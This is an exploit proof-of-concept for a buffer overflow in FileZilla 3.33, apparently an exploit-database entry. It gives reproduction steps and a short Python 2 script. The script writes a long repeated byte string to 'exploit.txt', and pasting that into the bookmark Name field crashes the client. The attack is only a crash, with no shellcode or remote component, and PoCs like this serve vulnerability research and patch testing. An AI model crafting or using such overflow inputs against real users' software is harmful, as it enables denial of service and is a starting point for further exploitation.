# Exploit Title: FileZilla 3.33 Buffer-Overflow (PoC) # Author: Kagan Capar # Discovery Date: 2018-10-10 # Software Link: https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/filezilla/3.33.0-1/filezilla_3.33.0-1.debian.tar.xz # Vendor Homepage : https://filezilla-project.org # Tested Version: 3.33 # Tested on OS: Kali Linux 2018.3 x64 # Steps to Reproduce: Run the python exploit script, it will create a new # file with the name "exploit.txt". Copy the content from "exploit.txt". # Open new terminal and write "filezilla" # Go to Bookmarks and Add bookmark or Ctrl + B # Now paste the contents of "exploit.txt" into the fields. "Name:" # Click "OK" after Click "Bookmarks" you will see a crash on terminal. #!/usr/bin/python buffer = "\x50\x48\x52" * 1300 payload = buffer try: f=open("exploit.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"